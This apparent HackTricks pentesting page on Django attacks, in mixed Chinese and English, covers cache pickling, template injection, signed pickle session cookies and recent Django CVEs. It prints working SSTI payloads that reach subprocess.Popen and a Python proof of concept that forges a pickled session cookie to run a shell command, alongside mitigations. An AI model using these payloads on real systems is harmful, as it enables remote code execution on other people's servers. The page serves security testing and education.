Django

Reading time: 7 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Cache Manipulation to RCE

Django 的默认缓存存储方式是 Python pickles,如果对 untrusted input is unpickled,可能导致 RCE。如果攻击者能够获得对缓存的写访问,他们可以将此漏洞升级为对底层服务器的 RCE。

Django cache is stored in one of four places: Redis, memory, files, or a database. 存储在 Redis 服务器或数据库中的缓存是最可能的攻击向量(Redis injection 和 SQL injection),但攻击者也可能利用基于文件的缓存将任意写入转为 RCE。维护者已将此标记为非问题。需要注意的是,缓存文件夹、SQL 表名和 Redis 服务器的具体信息会根据实现而不同。

This HackerOne report provides a great, reproducible example of exploiting Django cache stored in a SQLite database: https://hackerone.com/reports/1415436


Server-Side Template Injection (SSTI)

The Django Template Language (DTL) 是 图灵完备 的。如果用户提供的数据被作为 template string 渲染(例如通过调用 Template(user_input).render(),或当 |safe/format_html() 取消自动转义时),攻击者可能实现完整的 SSTI → RCE。

Detection

  1. 查找包含 任何 未清洗请求数据的动态调用 Template() / Engine.from_string() / render_to_string()
  2. 发送基于时间或算术的 payload:
django
{{7*7}}

如果渲染输出包含 49,则表明输入被模板引擎编译。

升级到 RCE 的原语

Django 阻止了对 __import__ 的直接访问,但 Python 对象图是可访问的:

django
{{''.__class__.mro()[1].__subclasses__()}}

找到 subprocess.Popen 的索引(约 400–500,取决于 Python 构建)并执行任意命令:

django
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}

一个更安全的通用 gadget 是迭代直到 cls.__name__ == 'Popen'

相同的 gadget 也适用于Debug ToolbarDjango-CMS中错误处理用户输入的模板渲染功能。


另见:ReportLab/xhtml2pdf PDF 导出 RCE

基于 Django 的应用通常会集成 xhtml2pdf/ReportLab 来将视图导出为 PDF。当受用户控制的 HTML 流入 PDF 生成时,rl_safe_eval 可能会评估三重括号 [[[ ... ]]] 内的表达式,从而允许代码执行(CVE-2023-33733)。详细信息、payloads 和缓解方法:

Reportlab Xhtml2pdf Triple Brackets Expression Evaluation Rce Cve 2023 33733


如果设置 SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer' 被启用(或使用会反序列化 pickle 的自定义序列化器),Django 会在调用任何视图代码之前对会话 cookie 进行解密并反序列化 (unpickle)。因此,拥有有效的签名密钥(默认情况下为项目的 SECRET_KEY)就足以立即实现远程代码执行。

利用要求

  • 服务器使用 PickleSerializer
  • 攻击者知道或能猜到 settings.SECRET_KEY(leaks via GitHub、.env、错误页面等)。

概念验证

python
#!/usr/bin/env python3
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import os, base64

class RCE(object):
def __reduce__(self):
return (os.system, ("id > /tmp/pwned",))

mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
print(f"sessionid={mal}")

发送生成的 cookie,payload 就会以 WSGI worker 的权限运行。

缓解措施: 保持默认的 JSONSerializer,轮换 SECRET_KEY,并配置 SESSION_COOKIE_HTTPONLY


近期(2023-2025)Pentesters 应检查的高影响 Django CVE

  • CVE-2025-48432Log Injection via unescaped request.path (fixed June 4 2025). 允许攻击者将换行符/ANSI codes 掺入日志文件并污染下游的日志分析。已在版本 ≥ 4.2.22 / 5.1.10 / 5.2.2 中修复。
  • CVE-2024-42005Critical SQL injection in QuerySet.values()/values_list() on JSONField (CVSS 9.8). 在 JSONField 上构造 JSON 键以跳出引号并执行任意 SQL。已在 4.2.15 / 5.0.8 中修复。

始终通过 X-Frame-Options 错误页面或 /static/admin/css/base.css 哈希来指纹化精确的框架版本,并在适用时测试上述问题。


References

  • Django security release – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" – 4 Jun 2025.
  • OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" – 11 Aug 2024.
  • 0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE and pivot into AD – https://0xdf.gitlab.io/2025/08/09/htb-university.html

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks